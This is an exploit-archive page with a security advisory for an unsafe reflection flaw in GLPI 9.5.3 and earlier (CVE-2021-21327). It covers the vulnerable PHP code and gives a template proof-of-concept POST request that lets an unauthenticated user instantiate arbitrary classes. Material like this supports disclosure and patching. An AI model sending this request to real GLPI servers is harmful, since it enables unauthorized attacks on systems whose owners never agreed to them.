

GLPI 9.5.3 Unsafe Reflection

Authored by [Vadym Soroka](#)

Posted [Mar 8, 2021](#)

GLPI versions 9.5.3 and below suffer from a fronttype unsafe reflection vulnerability.

tags | [exploit](#)

advisories | [CVE-2021-21327](#)

SHA-256 | [65d1ee0442efe75600cc5389749bb4e1e3dddf7de93e8f5468cef5c1ff8fe3f50](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

Exploit Title: GLPI 9.5.3 - 'fronttype' Unsafe Reflection
Date: 2021-02-13
Exploit Author: Vadym Soroka @iterasec <https://iterasec.com>
Vendor Homepage: <https://glpi-project.org>
Software Link: <https://github.com/glpi-project/glpi/releases>
Version: <=9.5.3
Tested on: v9.5.3, 2021-02-13
Technical advisories:
<https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp>
<https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/>

Impact:

Non-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a "POC chain".
As an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors.

Description:

When passing an existing class (ex: "Glpi\Console\Application" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared.
When a PHP object gets destroyed, its __destruct() method is executed.
There are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point.

Vulnerable code sample:

--- file dropdownConnect.php:
if (!isset(\$_POST['fronttype'])) || !(\$fromitem = getItemForItemtype(\$_POST['fronttype'])) {
 exit();
}

--- file dbutils.class.php, function getItemForItemtype(\$itemtype)
if (class_exists(\$itemtype)) {
 return new \$itemtype();
}
//handle namespaces
if (substr(\$itemtype, 0, \strlen(NS_GLPI)) === NS_GLPI) {
 \$itemtype = stripslashes(\$itemtype);
 if (class_exists(\$itemtype)) {
 return new \$itemtype();
 }
}

POC/Steps to reproduce:

Issue a request*:
POST /ajax/dropdownConnect.php HTTP/1.1
Host: glpi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 12

fronttype=XXX
* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.:
GLPI Core: "Glpi\Foo\Bar"
GLPI Plugins: "PluginFooBar"

[Login](#) or [Register](#) to add favorites

Search ...



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 180 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11security 10 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,733)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,924)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,601)	February 2022
Encryption (2,349)	January 2022
Exploit (50,358)	Older

File Archives

ActiveX (932)	December 2022
Advisory (79,733)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,924)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,601)	February 2022
Encryption (2,349)	January 2022
Exploit (50,358)	Older

Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (820)	Cisco (1,917)
Kernel (6,290)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,418)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	IOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,043)	Linux (44,294)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,776)	OpenBSD (479)
Shell (3,103)	RedHat (12,448)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,101)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,132)

Web (9,357)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,158)

UnixWare (185)

Windows (6,511)

Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us


- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed